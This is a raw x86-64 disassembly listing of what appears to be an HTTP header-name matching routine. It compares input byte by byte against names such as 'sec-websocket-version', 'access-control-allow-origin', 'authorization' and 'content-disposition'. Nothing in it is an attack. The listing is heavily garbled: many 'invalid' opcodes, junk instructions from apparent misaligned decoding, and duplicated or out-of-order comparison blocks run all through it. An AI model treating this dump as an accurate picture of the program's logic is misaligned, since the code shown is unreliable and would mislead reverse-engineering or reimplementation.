cmp byte [rcx + 3], 0x2d
jne case.0x14002f13e.103
and dword [rax], eax
add byte [rax + 0xf770479], al
add al, 0x77
invalid
add byte [rax], al
cmp byte [rcx + 4], 0x77
add al, 0x77
add al, 0x77
jne case.0x14002f13e.103
test ebp, ebp
and dword [rax], eax
add byte [rax + 0xf650579], al
jns 0x14002f084
jne case.0x14002f13e.103
cmp byte [rcx + 6], 0x62
invalid
cmp byte [rcx + 5], 0x65
jne case.0x14002f13e.103
jns 0x14002f084
jne case.0x14002f13e.103
add byte [rax], al
cmp byte [rcx + 6], 0x62
jne case.0x14002f13e.103
test ecx, ebx
and dword [rax], eax
invalid
test ecx, ebx
and dword [rax], eax
add byte [rax + 0xf730779], al
test edi, ecx
and dword [rax], eax
add byte [rax + 0xf6f0879], al
test ebp, eax
invalid
and dword [rax], eax
add byte [rax + 0xf630979], al
test dword [rbx - 0x7fffffdf], edi
jns 0x14002f0bb
cmp byte [rcx + 7], 0x73
jne case.0x14002f13e.103
cmp byte [rcx + 8], 0x6f
jne case.0x14002f13e.103
invalid
and dword [rax], eax
invalid
invalid
cmp byte [rcx + 9], 0x63
jne case.0x14002f13e.103
cmp byte [rcx + 0xa], 0x6b
jne case.0x14002f13e.103
imul ecx, dword [rdi], 0xffffff85
mov cl, 0x21
add byte [rax], al
cmp byte [rcx + 0xb], 0x65
jne case.0x14002f13e.103
and dword [rax], eax
invalid
jne case.0x14002f13e.103
and dword [rax], eax
add byte [rax], al
add byte [rax + 0xf740c79], al
test dword [rbp - 0x7fffffdf], ebx
cmp byte [rcx + 0xc], 0x74
or al, 0x74
jne case.0x14002f13e.103
cmp byte [rcx + 0xd], 0x2d
jne case.0x14002f13e.103
add byte [rax], al
jns 0x14002f0dc
sub eax, 0x2193850f
add byte [rax], al
cmp byte [rcx + 0xe], 0x76
jne case.0x14002f13e.103
and dword [rax], eax
invalid
invalid
mov dword [rcx], esp
add byte [rax], al
and dword [rax], eax
add byte [rax + 0xf650f79], al
test dword [rdi + 0x21], edi
add byte [rax], al
cmp byte [rcx + 0xf], 0x65
jne case.0x14002f13e.103
cmp byte [rcx + 0x10], 0x72
jne case.0x14002f13e.103
jne 0x14002f113
add byte [rax], al
jne 0x14002f113
add byte [rax], al
cmp byte [rcx + 0x11], 0x73
jne case.0x14002f13e.103
cmp byte [rcx + 0x12], 0x69
jne case.0x14002f13e.103
and dword [rax], eax
invalid
and dword [rax], eax
add byte [rax + 0xf6f1379], al
jns 0x14002f11e
outsd dx, dword [rsi]
jne case.0x14002f13e.103
cmp byte [rcx + 0x13], 0x6f
jns 0x14002f11e
outsd dx, dword [rsi]
jne case.0x14002f13e.103
mov al, 0x3f
mov dl, 0x6e
mov r8d, 0x14
jmp 0x14002e833
invalid
invalid
invalid
idiv edi
invalid
dec dword [rdi]
mov dh, 0x11
movzx edx, byte [rcx]
add edx, 0xffffff9c
cmp edx, 0x12
cli
adc cl, byte [rdi]
xchg dword [rcx], edi
and dword [rax], eax
invalid
cli
adc cl, byte [rdi]
xchg dword [rcx], edi
and dword [rax], eax
add byte [rbp + rcx*4 + 5], cl
xor dword [rbx + 0x14], esi
add byte [rcx + 0x63], cl
adc al, 0x90
lea r8, [0x140176468]
movsxd rdx, dword [r8 + rdx*4]
add rdx, r8
jmp rdx
invalid
loop 0x14002f0c1
jns 0x14002f144
invalid
jne case.0x14002f13e.103
cmp byte [rcx + 2], 0x74
jne case.0x14002f13e.103
jns 0x14002f14f
je 0x14002f15e
test dword [0xf002f176], edx
and byte [rdx + 0x3b84165], dh
add byte [rax], al
add cl, ch
sal dh, 1
invalid
mov al, 0x20
mov dl, 0x65
mov r8d, 3
jmp 0x14002e833
cmp byte [rcx], 0x63
jne case.0x14002f13e.103
and byte [rax], al
invalid
and byte [rax], al
add byte [rax + 0xf6f0179], al
test ebx, esi
and byte [rax], al
add byte [rax + 0xf6e0279], al
test ecx, ebp
and byte [rax], al
add byte [rax + 0xf740379], al
jne case.0x14002f13e.103
cmp byte [rcx + 4], 0x65
jne case.0x14002f13e.103
cmp byte [rcx + 5], 0x6e
jne case.0x14002f13e.103
cmp byte [rcx + 6], 0x74
invalid
cmp byte [rcx + 1], 0x6f
jne case.0x14002f13e.103
cmp byte [rcx + 2], 0x6e
jne case.0x14002f13e.103
cmp byte [rcx + 3], 0x74
jne case.0x14002f13e.103
add byte [rax], al
cmp byte [rcx + 4], 0x65
jne case.0x14002f13e.103
cmp byte [rcx + 5], 0x6e
jne case.0x14002f13e.103
cmp byte [rcx + 6], 0x74
jne case.0x14002f13e.103
test ecx, eax
and byte [rax], al
add byte [rax + 0xf2d0779], al
test dword [rdi - 0x7fffffe0], esi
add byte [rax], al
invalid
jns case.0x14002a10a.71
invalid
cmp byte [rcx + 7], 0x2d
jne case.0x14002f13e.103
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 8], 0x73
jne case.0x14002f13e.103
or byte [rbx + 0xf], dh
jae 0x14002f1c6
test dword [rbp - 0x7fffffe0], ebp
cmp byte [rcx + 9], 0x65
jne case.0x14002f13e.103
jns case.0x14002e81e.71
jne case.0x14002f13e.103
cmp byte [rcx + 0xa], 0x63
jne case.0x14002f13e.103
cdq
and byte [rax], al
invalid
or ah, byte [rbx + 0xf]
test dword [rcx - 0x7fffffe0], ebx
cdq
and byte [rax], al
invalid
invalid
invalid
cdq
and byte [rax], al
add byte [rax + 0xf750b79], al
jns 0x14002f1de
jne 0x14002f1e4
cmp byte [rcx + 0xb], 0x75
jne case.0x14002f13e.103
jns 0x14002f1de
jne 0x14002f1e4
test dword [rdi - 0x7fffffe0], ecx
jns 0x14002f1e9
cmp byte [rcx + 0xc], 0x72
jb 0x14002f1ee
jne case.0x14002f13e.103
test dword [rbp - 0x7fffffe0], eax
jns 0x14002f1f4
cmp byte [rcx + 0xd], 0x69
jne case.0x14002f13e.103
invalid
imul ecx, dword [rdi], 0x207b85
test dword [rbx + 0x20], edi
add byte [rax], al
invalid
add byte [rax + 0xf740e79], al
test dword [rcx + 0x20], esi
add byte [rax], al
cmp byte [rcx + 0xe], 0x74
jne case.0x14002f13e.103
jno 0x14002f216
cmp byte [rcx + 0xf], 0x79
jne case.0x14002f13e.103
cmp byte [rcx + 0x10], 0x2d
jne case.0x14002f13e.103
cmp byte [rcx + 0x11], 0x70
jne case.0x14002f13e.103
and byte [rax], al
invalid
cmp byte [rcx + 0x12], 0x6f
jne case.0x14002f13e.103
and byte [rax], al
invalid
and byte [rax], al
add byte [rax + 0xf6c1379], al
jns 0x14002f236
insb byte [rdi], dx
jne case.0x14002f13e.103
cmp byte [rcx + 0x14], 0x69
jne case.0x14002f13e.103
and byte [rax], al
invalid
invalid
jns 0x14002f24c
cmp byte [rcx + 0x13], 0x6c
jns 0x14002f236
insb byte [rdi], dx
jne case.0x14002f13e.103
cmp byte [rcx + 0x14], 0x69
jne case.0x14002f13e.103
and byte [rax], al
invalid
and byte [rax], al
add byte [rax + 0xf631579], al
test dword [rbx], ebp
cmp byte [rcx + 0x15], 0x63
jne case.0x14002f13e.103
adc eax, 0x2b850f63
invalid
and byte [rax], al
add byte [rax + 0xf791679], al
jns 0x14002f257
jns 0x14002f252
cmp byte [rcx + 0x16], 0x79
jne case.0x14002f13e.103
jns 0x14002f257
jns 0x14002f252
test dword [rcx], esp
and byte [rax], al
add byte [rax + 0xf2d1779], al
cmp byte [rcx + 0x17], 0x2d
jne case.0x14002f13e.103
test dword [rdi], edx
and byte [rax], al
add byte [rax + 0xf721879], al
cmp byte [rcx + 0x18], 0x72
jne case.0x14002f13e.103
add byte [rax], al
test dword [0xc002f27d], ecx
jns 0x14002f278
add byte [rax], al
cmp byte [rcx + 0x19], 0x65
jne case.0x14002f13e.103
jne case.0x14002f13e.103
cmp byte [rcx + 0x1a], 0x70
jne case.0x14002f13e.103
cmp byte [rcx + 0x1b], 0x6f
jns 0x14002f28e
outsd dx, dword [rsi]
jne case.0x14002f13e.103
out dx, eax
invalid
add byte [rax], al
cmp byte [rcx + 0x1c], 0x72
jne case.0x14002f13e.103
invalid
add byte [rax], al
invalid
cmp byte [rcx + 0x1d], 0x74
jne case.0x14002f13e.103
invalid
add byte [rax], al
invalid
cmp byte [rcx + 0x1e], 0x2d
jne case.0x14002f13e.103
cmp byte [rcx + 0x1f], 0x6f
jne case.0x14002f13e.103
cmp byte [rcx + 0x20], 0x6e
jne case.0x14002f13e.103
cmp byte [rcx + 0x21], 0x6c
jns 0x14002f2d0
insb byte [rdi], dx
jne case.0x14002f13e.103
mov al, 0x1c
mov dl, 0x79
mov r8d, 0x22
jmp 0x14002e833
movzx edx, byte [rcx]
mov dh, 0x11
add edx, 0xffffff9f
cmp edx, 0x16
ja case.0x14002f13e.103
xchg ebp, eax
invalid
lea r8, [0x1401764fc]
adc al, 0
movsxd rdx, dword [r8 + rdx*4]
add rdx, r8
invalid
ret 0xe2ff
jmp rdx
invalid
jne case.0x14002f13e.103
cmp byte [rcx + 5], 0x76
jne case.0x14002f13e.103
jns 0x14002f314
jbe 0x14002f320
test dword [rbx + 0x1f], edx
add byte [rax], al
mov al, 0xf
mov dl, 0x63
mov r8d, 6
jmp 0x14002e833
cmc
invalid
dec dword [rdi]
mov dh, 0x11
movzx edx, byte [rcx]
add edx, 0xffffff9f
cmp edx, 0xb
ja case.0x14002f13e.103
ret 0x839f
lea r8, [0x140176558]
movsxd rdx, dword [r8 + rdx*4]
add rdx, r8
add edx, eax
add edx, eax
jmp rdx
loop 0x14002f354
mov dh, 0x51
add dword [rbx - 0x7bf09c06], eax
mov esp, 0x8300001b
invalid
cmp edx, 0x75
invalid
add byte [rbx - 0x7af08a06], al
nop dword [rax]
add byte [rax + 0xf740279], al
jne case.0x14002f13e.103
test dword [rdi], ecx
invalid
cmp byte [rcx + 2], 0x74
jne case.0x14002f13e.103
invalid
invalid
invalid
add byte [rax], al
test dword [0xc002f384], eax
jns 0x14002f36a
cmp byte [rcx + 3], 0x68
jne case.0x14002f13e.103
push 0x1efb850f
add byte [rax], al
sti
invalid
cmp byte [rcx + 4], 0x6f
jne case.0x14002f13e.103
cmp byte [rcx + 5], 0x72
jne case.0x14002f13e.103
cmp byte [rcx + 6], 0x69
jne case.0x14002f13e.103
invalid
add byte [rax], al
invalid
cmp byte [rcx + 7], 0x7a
jne case.0x14002f13e.103
jp 0x14002f3a0
test ebx, edx
invalid
cmp byte [rcx + 8], 0x61
jne case.0x14002f13e.103
cmp byte [rcx + 9], 0x74
jne case.0x14002f13e.103
cmp byte [rcx + 0xa], 0x69
jne case.0x14002f13e.103
cmp byte [rcx + 0xb], 0x6f
jns 0x14002f3c2
outsd dx, dword [rsi]
jne case.0x14002f13e.103
mov al, 0x10
mov dl, 0x6e
mov r8d, 0xc
add byte [rax], al
jmp 0x14002e833
movzx edx, byte [rcx]
cmp edx, 0x70
je 0x14002ffc1
cmp edx, 0x61
jne case.0x14002f13e.103
cmp byte [rcx + 1], 0x63
jns 0x14002f3e6
invalid
jne case.0x14002f13e.103
invalid
cmp byte [rcx + 2], 0x63
jne case.0x14002f13e.103
cmp byte [rcx + 3], 0x65
jne case.0x14002f13e.103
jns 0x14002f3fc
jne case.0x14002f13e.103
imul ebx, dword [rsi], 0x79800000
add al, 0x73
cmp byte [rcx + 4], 0x73
jne case.0x14002f13e.103
test dword [rdi + 0x1e], ebx
add byte [rax], al
cmp byte [rcx + 5], 0x73
jne case.0x14002f13e.103
invalid
add byte [rax + 0xf2d0679], al
test dword [rbx + 0x1e], ecx
invalid
invalid
cmp byte [rcx + 6], 0x2d
jne case.0x14002f13e.103
invalid
invalid
add byte [rax], al
invalid
add byte [rax], al
cmp byte [rcx + 7], 0x63
jne case.0x14002f13e.103
cmp byte [rcx + 8], 0x6f
jne case.0x14002f13e.103
invalid
invalid
add byte [rax], al
invalid
cmp byte [rcx + 9], 0x6e
jne case.0x14002f13e.103
invalid
invalid
add byte [rax], al
sub eax, 0x8000001e
jns 0x14002f449
cmp byte [rcx + 0xa], 0x74
jne case.0x14002f13e.103
je 0x14002f450
test dword [rbx], esp
invalid
cmp byte [rcx + 0xb], 0x72
jns 0x14002f454
jb 0x14002f45a
jne case.0x14002f13e.103
test dword [rcx], ebx
invalid
cmp byte [rcx + 0xc], 0x6f
jne case.0x14002f13e.103
cmp byte [rcx + 0xd], 0x6c
jne case.0x14002f13e.103
cmp byte [rcx + 0xe], 0x2d
jne case.0x14002f13e.103
cmp byte [rcx + 0xf], 0x61
jne case.0x14002f13e.103
cmp byte [rcx + 0x10], 0x6c
jne case.0x14002f13e.103
out 0x1d, eax
add byte [rax], al
out 0x1d, eax
add byte [rax], al
cmp byte [rcx + 0x11], 0x6c
jne case.0x14002f13e.103
cmp byte [rcx + 0x12], 0x6f
jne case.0x14002f13e.103
cmp byte [rcx + 0x13], 0x77
jne case.0x14002f13e.103
cmp byte [rcx + 0x14], 0x2d
jne case.0x14002f13e.103
invalid
add byte [rax], al
sbb eax, 0x79800000
adc eax, 0xb5850f6f
outsd dx, dword [rsi]
jne case.0x14002f13e.103
invalid
invalid
cmp byte [rcx + 0x15], 0x6f
outsd dx, dword [rsi]
jne case.0x14002f13e.103
cmp byte [rcx + 0x16], 0x72
jne case.0x14002f13e.103
invalid
cmp byte [rcx + 0x17], 0x69
jne case.0x14002f13e.103
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 0x18], 0x67
jne case.0x14002f13e.103
jns 0x14002f4e3
jne case.0x14002f13e.103
cmp byte [rcx + 0x19], 0x69
jne case.0x14002f13e.103
add byte [rax], al
jns 0x14002f4ee
imul ecx, dword [rdi], 0x1d8d85
add byte [rax + 0x416eb208], dh
mov dl, 0x6e
mov r8d, 0x1a
add byte [rax], al
add byte [rax], al
mov al, 8
mov dl, 0x6e
mov r8d, 0x1a
add byte [rax], al
add byte [rax], al
add cl, ch
invalid
add byte [rax], al
jmp 0x14002e833
dec dword [rdi]
mov dh, 0x11
movzx edx, byte [rcx]
cmp edx, 0x76
je 0x14003015b
or al, 0
invalid
cli
jbe 0x14002f501
test byte [rsp + rcx], ah
or al, 0
add byte [rbx - 0x7bf09b06], al
or al, 0
add byte [rbx - 0x7af09e06], al
invalid
cmp edx, 0x64
je 0x140030142
cli
je 0x140030142
cmp edx, 0x61
jne case.0x14002f13e.103
invalid
cli
invalid
add byte [rax + 0xf670179], al
cmp byte [rcx + 1], 0x67
jns 0x14002f50d
add dword [rdi + 0xf], esp
jne case.0x14002f13e.103
jne case.0x14002f13e.103
test dword [rsi + 0x1d], edx
add byte [rax], al
mov al, 0xd
mov dl, 0x65
mov r8d, 2
or eax, 0xb84165b2
add al, byte [rax]
add byte [rax], al
jmp 0x14002e833
movzx edx, byte [rcx]
cmp edx, 0x6c
je 0x1400300ca
pushfq
or eax, dword [rax]
invalid
adc dword [rbx - 0x7bf09306], eax
pushfq
or eax, dword [rax]
add byte [rbx - 0x7af09606], al
xor bl, byte [0x1b982f539]
add dword [rsi + 0xf], esp
test dword [rax], ebp
sbb eax, 0x79800000
add ch, byte [0x15d217a58]
jne case.0x14002f13e.103
movzx edx, byte [rcx + 3]
cmp edx, 0x72
je 0x1400310b6
sbb eax, dword [rax]
invalid
cmp edx, 0x69
jne case.0x14002f13e.103
cmp byte [rcx + 1], 0x66
jne case.0x14002f13e.103
cmp byte [rcx + 2], 0x2d
jne case.0x14002f13e.103
sbb eax, 0xb60f0000
push rcx
add byte [rdi], cl
mov dh, 0x51
add eax, dword [rbx - 0x7bf08d06]
pop rsi
sbb eax, dword [rax]
add byte [rbx - 0x7af09206], al
cmp edx, 0x6d
jne case.0x14002f13e.103
cmp byte [rcx + 4], 0x61
cmp edx, 0x6d
jne case.0x14002f13e.103
cmp byte [rcx + 4], 0x61
jne case.0x14002f13e.103
sbb al, 0
add byte [rax + 0xf740579], al
test esp, esi
sbb al, 0
add byte [rax + 0xf630679], al
jns 0x14002f57e
invalid
invalid
test edx, ebp
sbb al, 0
cmp byte [rcx + 5], 0x74
jne case.0x14002f13e.103
cmp byte [rcx + 6], 0x63
jne case.0x14002f13e.103
jns 0x14002f57e
invalid
add byte [rax + 0x4168b227], dh
mov eax, 7
mov al, 0x27
mov dl, 0x68
mov r8d, 7
jmp 0x14002e833
movsd dword [rdi], dword [rsi]
invalid
cmp byte [rcx], 0x66
jne case.0x14002f13e.103
cmp byte [rcx + 1], 0x6f
jne case.0x14002f13e.103
cmp byte [rcx + 2], 0x72
jne case.0x14002f13e.103
sbb al, 0
invalid
sbb al, 0
add byte [rax + 0xf770379], al
test dword [rsp + rbx + 0x79800000], esi
invalid
add byte [rax], al
cmp byte [rcx + 3], 0x77
jne case.0x14002f13e.103
cmp byte [rcx + 4], 0x61
jns 0x14002f5bc
add al, 0x61
invalid
jne case.0x14002f13e.103
sbb al, 0
add byte [rax + 0xf720579], al
test dword [rax - 0x7fffffe4], esp
jns 0x14002f5d2
add byte [rax], al
cmp byte [rcx + 5], 0x72
jne case.0x14002f13e.103
cmp byte [rcx + 6], 0x64
jne case.0x14002f13e.103
invalid
xchg esi, eax
sbb al, 0
invalid
jne case.0x14002f13e.103
test dword [rsi - 0x7fffffe4], edx
add byte [rax + 0xf650779], al
test dword [rsp + rbx + 0x24b00000], ecx
mov word [rax + rax], ds
invalid
mov al, 0x24
cmp byte [rcx + 7], 0x65
jne case.0x14002f13e.103
mov word [rax + rax], ds
invalid
jns 0x14002f5dd
jne case.0x14002f13e.103
mov word [rax + rax], ds
add byte [rax + 0x4164b224], dh
mov eax, 8
add byte [rax], al
invalid
mov al, 0x24
mov dl, 0x64
mov r8d, 8
add byte [rax], al
invalid
add byte [rax], al
add cl, ch
invalid
jmp 0x14002e833
movzx edx, byte [rcx]
cmp edx, 0x78
je 0x140030207
cmp edx, 0x77
je 0x140030174
test byte [rbx + 0xb], dh
add byte [rax], al
test byte [rbx + 0xb], dh
add byte [rax], al
cmp edx, 0x63
jne case.0x14002f13e.103
cmp byte [rcx + 1], 0x6f
outsd dx, dword [rsi]
jne case.0x14002f13e.103
cmp byte [rcx + 2], 0x6e
jne case.0x14002f13e.103
test dword [rbx + 0x1c], ecx
add byte [rax], al
test dword [rbx + 0x1c], ecx
add byte [rax], al
cmp byte [rcx + 3], 0x74
jne case.0x14002f13e.103
cmp byte [rcx + 4], 0x65
jne case.0x14002f13e.103
cmp byte [rcx + 5], 0x6e
jne case.0x14002f13e.103
add eax, 0x2d850f6e
sbb al, 0
add byte [rax + 0xf740679], al
cmp byte [rcx + 6], 0x74
jne case.0x14002f13e.103
cmp byte [rcx + 7], 0x2d
jne case.0x14002f13e.103
movzx edx, byte [rcx + 8]
cmp edx, 0x6c
invalid
test ah, dh
cmp byte [rcx + 6], 0x74
jne case.0x14002f13e.103
cmp byte [rcx + 7], 0x2d
jne case.0x14002f13e.103
movzx edx, byte [rcx + 8]
cmp edx, 0x6c
je case.0x14002c05d.71
add byte [rax], al
add byte [rax], al
cmp edx, 0x65
jne case.0x14002f13e.103
cmp byte [rcx + 9], 0x6e
jne case.0x14002f13e.103
sbb eax, dword [rax]
invalid
sbb eax, dword [rax]
add byte [rax + 0xf630a79], al
test edi, ebp
sbb eax, dword [rax]
add byte [rax + 0xf6f0b79], al
test ebp, esp
cmp byte [rcx + 0xa], 0x63
jne case.0x14002f13e.103
cmp byte [rcx + 0xb], 0x6f
jne case.0x14002f13e.103
sbb eax, dword [rax]
invalid
sbb eax, dword [rax]
add byte [rax + 0xf640c79], al
test ebx, ebx
sbb eax, dword [rax]
add byte [rax + 0xf690d79], al
test ecx, edx
sbb eax, dword [rax]
add byte [rax + 0xf6e0e79], al
jns 0x14002f6a9
outsb dx, byte [rsi]
invalid
cmp byte [rcx + 0xc], 0x64
jne case.0x14002f13e.103
cmp byte [rcx + 0xd], 0x69
jne case.0x14002f13e.103
cmp byte [rcx + 0xe], 0x6e
jns 0x14002f6a9
outsb dx, byte [rsi]
jne case.0x14002f13e.103
test edi, eax
sbb eax, dword [rax]
add byte [rax + 0x4167b216], dh
mov eax, 0xf
mov al, 0x16
mov dl, 0x67
mov r8d, 0xf
add byte [rax], al
add cl, ch
invalid
jmp 0x14002e833
invalid
movzx edx, byte [rcx]
add edx, 0xffffff9d
cmp edx, 0x11
ja case.0x14002f13e.103
lea r8, [0x1401764b4]
in eax, dx
insd dword [rdi], dx
adc al, 0
movsxd rdx, dword [r8 + rdx*4]
add rdx, r8
jmp rdx
jns 0x14002f6d4
jne case.0x14002f13e.103
jne case.0x14002f13e.103
cmp byte [rcx + 2], 0x6e
jne case.0x14002f13e.103
invalid
test dword [rbx], ebx
add byte [rax], al
test dword [rbp - 0x7fffffe5], eax
jns 0x14002f6ea
cmp byte [rcx + 3], 0x2d
jne case.0x14002f13e.103
sub eax, 0x1b7b850f
jnp 0x14002f707
add byte [rax], al
cmp byte [rcx + 4], 0x63
jne case.0x14002f13e.103
cmp byte [rcx + 5], 0x61
jne case.0x14002f13e.103
cmp byte [rcx + 6], 0x63
jne case.0x14002f13e.103
jns 0x14002f70b
invalid
test dword [rbp + 0x1b], ebx
add byte [rax], al
add byte [rax + 0xf680779], al
test dword [rbx + 0x1b], edx
sbb eax, dword [rax]
invalid
cmp byte [rcx + 7], 0x68
jne case.0x14002f13e.103
sbb eax, dword [rax]
invalid
sbb eax, dword [rax]
add byte [rax + 0xf650879], al
jne case.0x14002f13e.103
cmp byte [rcx + 8], 0x65
jne case.0x14002f13e.103
invalid
jne case.0x14002f13e.103
add byte [rax + 0xf2d0979], al
test dword [rdi], edi
sbb eax, dword [rax]
add byte [rax + 0xf630a79], al
test dword [0xc002f750], esi
sbb eax, dword [rax]
invalid
invalid
cmp byte [rcx + 9], 0x2d
jne case.0x14002f13e.103
sub eax, 0x1b3f850f
add byte [rax], al
cmp byte [rcx + 0xa], 0x63
jne case.0x14002f13e.103
sbb eax, dword [rax]
invalid
sbb eax, dword [rax]
add byte [rax + 0xf6f0b79], al
jns 0x14002f742
outsd dx, dword [rsi]
jne case.0x14002f13e.103
cmp byte [rcx + 0xc], 0x6e
jne case.0x14002f13e.103
cmp byte [rcx + 0xd], 0x74
jne case.0x14002f13e.103
cmp byte [rcx + 0xe], 0x72
jne case.0x14002f13e.103
invalid
cmp byte [rcx + 0xb], 0x6f
jns 0x14002f742
outsd dx, dword [rsi]
jne case.0x14002f13e.103
cmp byte [rcx + 0xc], 0x6e
jne case.0x14002f13e.103
cmp byte [rcx + 0xd], 0x74
jne case.0x14002f13e.103
cmp byte [rcx + 0xe], 0x72
jne case.0x14002f13e.103
cmp byte [rcx + 0xf], 0x6f
jns 0x14002f76e
outsd dx, dword [rsi]
jne case.0x14002f13e.103
mov al, 0x13
mov dl, 0x6c
insb byte [rdi], dx
insb byte [rdi], dx
mov r8d, 0x10
add byte [rax], al
jmp 0x14002e833
invalid
movzx edx, byte [rcx]
cmp edx, 0x72
je 0x140030115
adc dword [rbx - 0x7bf08d06], eax
xchg esp, eax
or dword [rax], eax
add byte [rbx - 0x7af09e06], al
fistp word [rdx]
add byte [rax], al
cmp edx, 0x61
jne case.0x14002f13e.103
cmp byte [rcx + 1], 0x6c
jns 0x14002f78e
insb byte [rdi], dx
jne case.0x14002f13e.103
cmp byte [rcx + 2], 0x6c
jne case.0x14002f13e.103
cmp byte [rcx + 3], 0x6f
jns 0x14002f7a4
add ebp, dword [rdi + 0xf]
test ecx, eax
sbb al, byte [rax]
outsd dx, dword [rsi]
jne case.0x14002f13e.103
rcr dword [rdx], 0
add byte [rax + 0x4177b20e], dh
mov eax, 4
mov al, 0xe
mov dl, 0x77
mov r8d, 4
jmp 0x14002e833
movzx edx, byte [rcx]
add edx, 0xffffff9f
ret 0x839f
cli
adc cl, byte [rdi]
invalid
invalid
sbb al, byte [rax]
invalid
ret 0x839f
lea r8, [0x1401765e8]
movsxd rdx, dword [r8 + rdx*4]
sbb ebp, dword [rsi + 0x14]
add byte [rcx + 0x63], cl
adc al, 0x90
add rdx, r8
jmp rdx
jns 0x14002f7da
invalid
jne case.0x14002f13e.103
test dword [rcx - 0x7fffffe6], ecx
jns 0x14002f7e5
cmp byte [rcx + 2], 0x63
jne case.0x14002f13e.103
invalid
test dword [rdi + 0x1a], edi
add byte [rax], al
cmp byte [rcx + 3], 0x65
jne case.0x14002f13e.103
cmp byte [rcx + 4], 0x70
jne case.0x14002f13e.103
jns 0x14002f7fb
jo case.0x14002aa4e.78
test dword [rbx + 0x1a], ebp
add byte [rax], al
sbb al, byte [rax]
add byte [rdx + 0x5b84174], dh
add byte [rax], al
add byte [rcx], dh
shr cl, 0x26
invalid
invalid
invalid
mov dl, 0x74
mov r8d, 5
xor eax, eax
jmp 0x14002e833
cmp byte [rcx], 0x72
jne case.0x14002f13e.103
cmp byte [rcx + 1], 0x65
jne case.0x14002f13e.103
cmp byte [rcx + 2], 0x74
jne case.0x14002f13e.103
cmp byte [rcx + 3], 0x72
jne case.0x14002f13e.103
cmp byte [rcx + 4], 0x79
jne case.0x14002f13e.103
sbb al, byte [rax]
invalid
sbb al, byte [rax]
add byte [rax + 0xf2d0579], al
test dword [rcx], esp
sbb al, byte [rax]
add byte [rax + 0xf610679], al
test dword [rdi], edx
sbb al, byte [rax]
add byte [rax + 0xf660779], al
test dword [0xc002f877], ecx
or eax, 0x8000001a
cmp byte [rcx + 5], 0x2d
jne case.0x14002f13e.103
cmp byte [rcx + 6], 0x61
jne case.0x14002f13e.103
cmp byte [rcx + 7], 0x66
jne case.0x14002f13e.103
invalid
sbb al, byte [rax]
invalid
or eax, 0x8000001a
cmp byte [rcx + 8], 0x74
jne case.0x14002f13e.103
jns case.0x14002da55.14
je 0x14002f870
test dword [rbx], eax
sbb al, byte [rax]
add byte [rax + 0xf650979], al
jns 0x14002f872
invalid
invalid
test ecx, edi
sbb dword [rax], eax
cmp byte [rcx + 9], 0x65
jne case.0x14002f13e.103
invalid
jns 0x14002f872
jne case.0x14002f13e.103
add byte [rax + 0x4172b23a], dh
mov eax, 0xa
mov al, 0x3a
mov dl, 0x72
mov r8d, 0xa
jmp 0x14002e833
movzx edx, byte [rcx]
cmp edx, 0x75
je 0x1400303b2
cmp edx, 0x73
je 0x14003029a
cmp edx, 0x63
jne case.0x14002f13e.103
cmp byte [rcx + 1], 0x6f
jne case.0x14002f13e.103
add byte [rax + 0xf6e0379], al
test dword [rsi - 0x7fffffe7], ebp
sbb dword [rax], eax
invalid
invalid
jns 0x14002f8c2
sbb dword [rax], eax
add byte [rax + 0xf650479], al
test dword [rcx + rbx + 0x79800000], esp
add byte [rax], al
cmp byte [rcx + 5], 0x63
invalid
invalid
invalid
jne case.0x14002f13e.103
sbb dword [rax], eax
add byte [rax + 0xf630579], al
test dword [rdx - 0x7fffffe7], ebx
sbb dword [rax], eax
invalid
invalid
jns 0x14002f8d8
add byte [rax], al
cmp byte [rcx + 5], 0x63
jne case.0x14002f13e.103
sbb dword [rax], eax
invalid
sbb dword [rax], eax
add byte [rax + 0xf740679], al
cmp byte [rcx + 6], 0x74
jne case.0x14002f13e.103
add byte [rax], al
je 0x14002f8e3
test dword [rax - 0x7fffffe7], edx
jns 0x14002f8e3
add byte [rax], al
add byte [rax + 0xf690779], al
test dword [rsi - 0x7fffffe7], eax
cmp byte [rcx + 7], 0x69
jne case.0x14002f13e.103
imul ecx, dword [rdi], 0x198685
add byte [rax + 0xf6f0879], al
jns 0x14002f8ee
outsd dx, dword [rsi]
jne case.0x14002f13e.103
mov al, 0x14
mov dl, 0x6e
mov r8d, 9
cmp byte [rcx + 8], 0x6f
jns 0x14002f8ee
outsd dx, dword [rsi]
jne case.0x14002f13e.103
mov al, 0x14
mov dl, 0x6e
adc al, 0xb2
outsb dx, byte [rsi]
mov r8d, 9
or dword [rax], eax
add byte [rax], al
jmp 0x14002e833
movzx edx, byte [rcx]
cmp edx, 0x70
je 0x140030411
cmp edx, 0x69
je 0x1400302f9
cmp edx, 0x63
jne case.0x14002f13e.103
cmp byte [rcx + 1], 0x6f
jne case.0x14002f13e.103
outsb dx, byte [rsi]
jne case.0x14002f13e.103
cmp byte [rcx + 3], 0x74
jne case.0x14002f13e.103
cmp byte [rcx + 4], 0x65
jne case.0x14002f13e.103
cmp byte [rcx + 5], 0x6e
jne case.0x14002f13e.103
cmp byte [rcx + 6], 0x74
jne case.0x14002f13e.103
cmp byte [rcx + 7], 0x2d
jne case.0x14002f13e.103
cmp byte [rcx + 8], 0x64
jne case.0x14002f13e.103
cmp byte [rcx + 9], 0x69
jne case.0x14002f13e.103
cmp byte [rcx + 0xa], 0x73
jne case.0x14002f13e.103
sbb byte [rax], al
invalid
sbb byte [rax], al
add byte [rax + 0xf700b79], al
test ecx, esp
sbb byte [rax], al
cmp byte [rcx + 0xb], 0x70
jne case.0x14002f13e.103
invalid
add byte [rax + 0xf6f0c79], al
test edi, edx
cmp byte [rcx + 0xc], 0x6f
jne case.0x14002f13e.103
sbb byte [rax], al
invalid
sbb byte [rax], al
add byte [rax + 0xf730d79], al
test ebp, ecx
sbb byte [rax], al
add byte [rax + 0xf690e79], al
test ebx, eax
sbb byte [rax], al
add byte [rax + 0xf740f79], al
cmp byte [rcx + 0xd], 0x73
jne case.0x14002f13e.103
cmp byte [rcx + 0xe], 0x69
jne case.0x14002f13e.103
cmp byte [rcx + 0xf], 0x74
jne case.0x14002f13e.103
invalid
invalid
sbb byte [rax], al
invalid
test dword [rcx - 0x7fffffe8], edi
jns 0x14002f9c3
cmp byte [rcx + 0x10], 0x69
jne case.0x14002f13e.103
imul ecx, dword [rdi], 0x18af85
add byte [rax + 0xf6f1179], al
test dword [rbp - 0x4fffffe8], esp
adc eax, 0xaf2e9
add byte [rax - 0x7af08fc7], al
cmp byte [rcx], 0x70
jne case.0x14002f13e.103
